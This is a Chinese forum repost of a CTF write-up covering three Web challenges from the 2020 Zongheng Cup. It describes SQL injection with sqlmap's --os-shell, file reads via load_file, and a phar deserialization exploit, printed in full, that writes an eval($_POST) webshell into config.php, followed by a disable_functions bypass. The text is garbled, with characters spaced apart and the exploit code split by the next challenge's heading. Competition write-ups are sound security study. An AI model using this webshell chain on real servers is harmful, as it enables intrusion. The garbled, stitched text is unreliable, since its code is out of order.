搜索

[18956] 2020-12-26_2020纵横杯WriteUp-Web专项篇

文档创建者：s7ckTeam
浏览次数：21
最后更新：2025-01-18
2020-12-26_2020纵横杯WriteUp-Web专项篇 2 0 2 0 纵 横 杯 W r i t e U p - W e b 专 项 篇 原 创   X e n c & R H a c k e r   I D L a b   2 0 2 0 - 1 2 - 2 6 我 们 终 此 一 生 ， 就 是 为 摆 脱 他 人 的 期 待 ， 做 真 正 的 自 己 ！ 点 击 上 方 点 击 上 方 蓝 字 蓝 字 关 注 我 们 关 注 我 们 0 1 e a s y c i             1 .       用 户 名 存 在 s q l 注 入 ， s q l m a p 可 以 直 接 一 把 嗦 2 .   发 现 是 r o o t 权 限 ， 利 - - s q l - s h e l l   的 s e l e c t   l o a d _ f i l e ( ' ' ) ; 可 以 进 行 任 意 文 件 读 取 ， 读 取 / e t c / a p a c h e 2 / a p a c h e 2 . c o n f 3 .   可 以 看 到 / v a r / s e c e r t / ， 于 是 可 以 猜 想 w e b 目 录 应 该 在 / v a r / s e r c e t / h t m l ( 这 里 卡 了 好 久 ， t c c c c c c l l l l l l ) 直 接 通 过 s q l m a p   的 命 令 - - o s - s h e l l 一 把 嗦 （ 这 里 注 意 ： 自 定 义 目 录 为 / v a r / s e r c e t / h t m l ，   一 开 始 是 / v a r / s e r c e t / h t m l / p u b l i c /   因 为 没 注 意 权 限 ， 在 这 也 卡 了 好 久 ）
0 2 h e l l o _ p h p     1 .         首 先 使 用   h t t p s : / / g i t e e . c o m / m a x x i s / f u z z D i c t s / t r e e / m a s t e r / c t f D i c t / c t f - w s c a n   对 U R L 进 行 扫 描 ：
      2 .           下 载 z i p 文 使 用 ， S e a y 源 代 码 审 计 系 统 辅 助 审 计 A d m i n . p h p 文 件 ： 全 文 只 有 一 个 上 传 点 $ c o n f i g - > u p l o a d _ l o g o ( ) ; 前 提 是 需 要 先 登 录 才 可 以 使 用 上 传 ： 账 号 密 码 都 硬 编 码 在 了 c o n f i g . p h p
C l a s s . p h p : 上 传 文 件 内 容 可 控 ， 生 成 的 文 件 名 是 m d 5 ( t i m e ( ) )   可 以 得 知 上 传 文 件 后 的 路 径 3 .     _ _ d e s t r u c t 函 数 明 显 的 经 典 配 置 文 件 ： 参 考 文 章 ： h t t p s : / / w w w . l e a v e s o n g s . c o m / P E N E T R A T I O N / t h i n k i n g - a b o u t - c o n f i g - f i l e - a r b i t r a r y - w r i t e . h t m l 4 .         根 据 以 下 图 可 以 知 道 使 用 f i l e _ e x i s t s 函 数 ， 结 合 前 面 的 经 典 配 置 文 件 漏 洞 ， 前 提 是 需 要 反 序 列 化 ， 所 以 可 以 想 到 p h a r 反 序 列 化 去 反 序 列 化 c o n f i g 类 ， 修 改 $ t h i s - > t i t l e 或 者 $ t h i s - > c o m m e n t ; 就 可 以 篡 改 任 意 执 行 代 码 。
5 .         生 成 p h a r 反 序 列 化 代 码 在 代 码 框 。 得 到 p h a r . p h a r   拿 去 上 传 ， 根 据 D a t e 头 部 得 到 时 间 ， 但 是 小 时 需 要 改 一 下 ， 时 区 问 题 ， 我 在 本 地 也 是 和 系 统 时 间 的 小 时 对 不 上 ， 多 加 8 个 小 时 就 可 对 应 文 件 。   通 过 ： h t t p s : / / t o o l . l u / t i m e s t a m p /   在 线 时 间 戳 转 换 一 下 ， 然 后 M D 5 加 密 即 可 得 到 文 件 名
  然 后 构 造 h t t p : / / e c i - 2 z e 9 e e f n h r p 3 2 8 3 m 0 o o j . c l o u d e c i 1 . i c h u n q i u . c o m / i n d e x . p h p ? i m g = p h a r : / / . / s t a t i c / 4 7 d d 6 6 4 2 e 5 c 2 e c 2 3 c 8 8 0 b 6 c e 8 8 0 a a 7 f 6 . j p g 来 触 发 反 序 列 化 C o n f i g . p h p 就 是 w e b s h e l l ， 用 蚁 剑 连 接 ， 发 现 没 有 权 限 ， 那 肯 定 需 要 d i s a b l e _ f u n c t i o n 蚁 剑 有 d i s a b l e _ f u n c t i o n   插 件   可 以 在 插 件 市 场 下 载
  连 接 代 理 脚 本   拿 f l a g ：
附 带 e x p ： < ? p h p i n c l u d e ( ' c o n f i g . p h p ' ) ; c l a s s   C o n f i g {         p u b l i c   $ t i t l e ;         p u b l i c   $ c o m m e n t ;         p u b l i c   $ l o g o _ u r l ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                 g l o b a l   $ t i t l e ;                 g l o b a l   $ c o m m e n t ;                 g l o b a l   $ l o g o _ u r l ;                 $ t h i s - > t i t l e =   $ t i t l e ;                 $ t h i s - > c o m m e n t   =   $ c o m m e n t ;                 $ t h i s - > l o g o _ u r l   =   $ l o g o _ u r l ;         }         p u b l i c   f u n c t i o n   u p l o a d _ l o g o ( ) {                 i f ( ! e m p t y ( $ _ F I L E S ) ) {                         $ p a t h = ' . / s t a t i c / ' . m d 5 ( t i m e ( ) ) . ' . j p g ' ;
0 3 e z c m s             拿 到 地 址 ， 首 先 就 是 扫 描 一 波 ：                         m o v e _ u p l o a d e d _ f i l e ( $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] , ' . / s t a t i c / ' . m d 5 ( t i m e ( ) ) . ' . j p g ' ) ;                 }         }         p u b l i c   f u n c t i o n   u p d a t e _ t i t l e ( $ t i t l e , $ c o m m e n t ) {                 # 垃 圾 老 板 就 给 我 这 么 点 钱 ， 叫 我 怎 么 帮 你 做 事 。         }               p u b l i c   f u n c t i o n   _ _ d e s t r u c t ( ) {                 $ f i l e   =   f i l e _ g e t _ c o n t e n t s ( p a t h i n f o ( $ _ S E R V E R [ ' S C R I P T _ F I L E N A M E ' ] ) [ ' d i r n a m e ' ] . ' / c o n f i g . p h p ' ) ;                 $ f i l e   =   p r e g _ r e p l a c e ( ' / $ t i t l e = ' . * ? ' ; / ' ,   " $ t i t l e = ' $ t h i s - > t i t l e ' ; " ,   $ f i l e ) ;                 $ f i l e   =   p r e g _ r e p l a c e ( ' / $ c o m m e n t = ' . * ? ' ; / ' ,   " $ c o m m n e t = ' $ t h i s - > c o m m e n t ' ; " ,   $ f i l e ) ;                 f i l e _ p u t _ c o n t e n t s ( p a t h i n f o ( $ _ S E R V E R [ ' S C R I P T _ F I L E N A M E ' ] ) [ ' d i r n a m e ' ] . ' / c o n f i g . p h p ' ,   $ f i l e ) ;         }   } $ c o n f i g = n e w   C o n f i g ; $ c o n f i g - > t i t l e   =   ' t e s t ' ; e v a l ( $ _ P O S T [ 1 2 3 ] ) ; / / ' ; $ p h a r   =   n e w   P h a r ( " p h a r . p h a r " ) ;   / / 后 缀 名 必 须 为 p h a r $ p h a r - > s t a r t B u f f e r i n g ( ) ; $ p h a r - > s e t S t u b ( " < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ;   ? > " ) ;   / / 设 置 s t u b $ p h a r - > s e t M e t a d a t a ( $ c o n f i g ) ;   / / 将 自 定 义 的 m e t a - d a t a 存 入 m a n i f e s t $ p h a r - > a d d F r o m S t r i n g ( " t e s t . t x t " ,   " t e s t " ) ;   / / 添 加 要 压 缩 的 文 件         / / 签 名 自 动 计 算 $ p h a r - > s t o p B u f f e r i n g ( ) ; ? >
  下 载 w w w . z i p 文 件 然 后 看 到 了 这 个 是 Y z m c m s 一 顿 G o o g l e 。 找 到 了 ： h t t p s : / / w w w . c n b l o g s . c o m / S p e c / p / 1 1 1 8 8 1 9 8 . h t m l 参 考 该 文 章 ， 后 台 需 要 账 号 密 码 。 在 w w w . z i p 里 面 找 了 一 下   使 用 d b 的 账 号 密 码 就 可 以 登 录 。  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理